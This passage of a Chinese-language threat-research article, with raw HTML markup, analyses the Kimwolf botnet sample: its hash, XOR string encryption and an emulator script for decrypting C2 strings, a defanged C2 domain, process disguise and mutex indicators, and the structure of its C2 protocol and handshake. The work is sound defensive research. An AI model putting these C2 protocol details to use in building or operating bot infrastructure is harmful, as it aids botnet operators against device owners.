data-ratio="0.360625" data-type="png" data-w="1600" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=290d9866&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMsU7PdL44WZTqic6NVVYssSI5nLIqvQbWM1uVF9zjEmsrSibg0JWp72Tw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">总体来说，Kimwolf的功能并不复杂，下文将以12月9日捕获的样本为主要分析对象，从</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">字串解密，单一实例，网络协议</span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">等方面剖析Kimwolf的技术细节。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">MD5</span>:<span class="code-snippet__number">3</span>e1377869bd6e80e005b71b9e991c060</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">MAGIC</span>:ELF <span class="code-snippet__number">32</span>-bit LSB executable, ARM, EABI5 version <span class="code-snippet__number">1</span> (GNU/Linux), statically linked, no section header</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">PACKER</span>: UPX</span></code><br/></pre></p><pre><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">字串解密</span></span></code></pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Kimwolf使用简单的栈异或（Stack XOR）操作对C2， DNS Resolver等敏感数据进行加密。IDA反编译的伪码中可以看到大量类似的代码片段，veorq_s64是8字节的异或指令，所以说解密很简单可以使用正则提取出操作数，然后进行异或即可，下图示例中v63解密的内容正是C2 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">staging.pproxy1[.]fun</span></code></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000682" alt="kimwolf_xor.png" class="rich_pages wxw-img" data-ratio="0.5482796892341842" data-type="png" data-w="901" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=477f8489&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMEUVa0halZFNfsqUqh9s3kssB5gJiczSj6hTVlhvRFAufS3ZiasvT0Kxw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">相信尝试过手动解密的读者都会觉得这非常不方便，会问有没有更高效的方法呢？答案是肯定的，稍加观察上图的代码片段，可知解密后的C2字串是函数sub_8F00的第2个参数。根据这个特点，可以借助模拟器实现C2的批量自动解密。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf=""><span class="code-snippet__keyword">import</span> flare_emu</span></code><br/><code><span leaf="">eh=flare_emu.EmuHelper()</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">iterateHook</span>(<span class="code-snippet__params">eh, address, argv, userData</span>):</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">if</span> eh.isValidEmuPtr(argv[<span class="code-snippet__number">1</span>]):</span></code><br/><code><span leaf="">        buf=eh.getEmuString(eh.getRegVal(<span class="code-snippet__string">&#39;R1&#39;</span>))</span></code><br/><code><span leaf="">        <span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">f&#34;0x</span><span class="code-snippet__string"><span class="code-snippet__subst">{address:x}</span></span><span class="code-snippet__string"> ---&gt; </span><span class="code-snippet__string"><span class="code-snippet__subst">{buf}</span></span><span class="code-snippet__string">&#34;</span>)</span></code><br/><code><span leaf="">eh.iterate(<span class="code-snippet__number">0x00008F00</span>,iterateHook)</span></code><br/></pre></p><pre><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">最终效果如下，成功解密出6个C2：</span></code></pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000683" alt="kimwolf_decryption.png" class="rich_pages wxw-img" data-ratio="0.8339805825242719" data-type="png" data-w="1030" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=f3efb48b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMia14IJwWaq2UIUb4vEMZiaZsuKElNia7QJIem6Exk2gooRMfJdVq8kBOA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">veorq_s64的指令码为</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">VEOR Q8, Q8, Q9</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，通过它可以定位所有加密字串所在的函数。再根据在不同函数所呈现的模式，利用flare_emu的iterate或emulateRange就能方便的实现解密所有敏感字串。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000681" alt="kimwolf_pattern.png" class="rich_pages wxw-img" data-ratio="0.41188118811881186" data-type="png" data-w="1010" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=691ad692&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMicicPwbicSRPX8kQIL3GUcjXwepjOj5BT8puh9gTLxPSCN25XUJyQtBlQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">单一实例</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Kimwolf将自身进程名伪装为netd_services或tv_helper，并使用名为</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">@niggaboxv[数字]</span></span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">的Unix域socket实现单一实例控制。这一组合特征可作为高置信度感染指标用于设备排查。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000686" alt="kimwolf_unix.png" class="rich_pages wxw-img" data-ratio="0.13427561837455831" data-type="png" data-w="1981" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=eefe0095&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMzPuNhZ9fDdaNoJmLn9p6Nn21moSUXqyQziciaW5Bp0SRlqIiaK1OKQ8uA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">网络协议</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Kimwolf的网络通信始终采用TLS加密。早期版本中，应用层协议直接承载于TLS隧道；在当前版本中，在发送register消息之前还会进行websocket握手，但后续并没有使用该协议。它的网络通信报文遵循“Header + Body”的固定格式。在Header中，Reserved字段为固定值1，而Magic则是已迭代变更三次，当前版本为“AD216CD4”；Body部分则是不同的功能有不同的结构。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="go"><code><span leaf=""><span class="code-snippet__keyword">type</span> Header <span class="code-snippet__keyword">struct</span> {</span></code><br/><code><span leaf="">	Magic    [<span class="code-snippet__number">4</span>]<span class="code-snippet__type">byte</span>   <span class="code-snippet__comment">// &#34;DPRK&#34; -&gt; &#34;FD9177FF&#34; -&gt; &#34;AD216CD4&#34;</span></span></code><br/><code><span leaf="">	Reserved <span class="code-snippet__type">uint8</span>    <span class="code-snippet__comment">//1 </span></span></code><br/><code><span leaf="">	MsgType  <span class="code-snippet__type">uint8</span></span></code><br/><code><span leaf="">	MsgID    <span class="code-snippet__type">uint32</span></span></code><br/><code><span leaf="">	BodyLen  <span class="code-snippet__type">uint32</span></span></code><br/><code><span leaf="">	CRC32    <span class="code-snippet__type">uint32</span></span></code><br/><code><span leaf="">}</span></code><br/></pre></p><pre><code></code></pre><pre><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">MsgType字段则是用于说明消息类型，它的取值及对应的功能如下表所示：</span></code></pre><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000699" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7218453188602443" data-s="300,640" data-type="png" data-w="737" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=3364c093&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YM4WkZw0Af8CnvtGJibBCMPJ8dnyLlwE5vqVj2DajUyLkcnGWGGZ5GKKw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Bot与C2服务器之间的通信初始化采用一种三阶段握手机制。双方必须顺序完成</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">register</span></span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">、</span></span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">verify</span></span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">、</span></span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">confirm</span></span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">三次交互，实现双向身份认证后，才被视为建立可信会话。</span><span leaf="">接下来，让我们以实际产生的网络流量来解释Bot与C2的交互过程。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000689" alt="kimwolf_traffic.png" class="rich_pages wxw-img" data-ratio="0.387298747763864" data-type="png" data-w="1118" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=17cf324d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMzhIicWrw9yWHwVuibNTKmlZNRLUuicKjqwMyKF3MicIDvtxqg9ERM7c7Ag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">Step1: Register, Bot ---&gt; C2</span></span></h4><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Bot向C2 发送俩次18字节的Header，其中MsgType为0，MsgID，BodyLen，CRC32字段均为0，Magic为</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">FD9177FF</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 。</span></p><h4><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">Step2: Varify, C2 ---&gt; Bot</span></span></h4><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">C2使用私钥对随机消息生成椭圆曲线数字签名，并按以下格式构建报文Body部分。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="go"><code><span leaf=""><span class="code-snippet__keyword">type</span> VerifyBody <span class="code-snippet__keyword">struct</span> {</span></code><br/><code><span leaf="">	MsgLen <span class="code-snippet__type">uint32</span></span></code><br/><code><span leaf="">	Msg    []<span class="code-snippet__type">byte</span></span></code><br/><code><span leaf="">	SigLen <span class="code-snippet__type">uint32</span></span></code><br/><code><span leaf="">	Sig    []<span class="code-snippet__type">byte</span></span></code><br/><code><span leaf="">}</span></code><br/></pre></p><pre><code></code></pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">示例中Body按上述结构体进行解析可知：</span></p><ul class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">MsgLen为4字节</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Msg为</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> xx xx xx xx</span></code></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">SigLen为0x47字节</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, 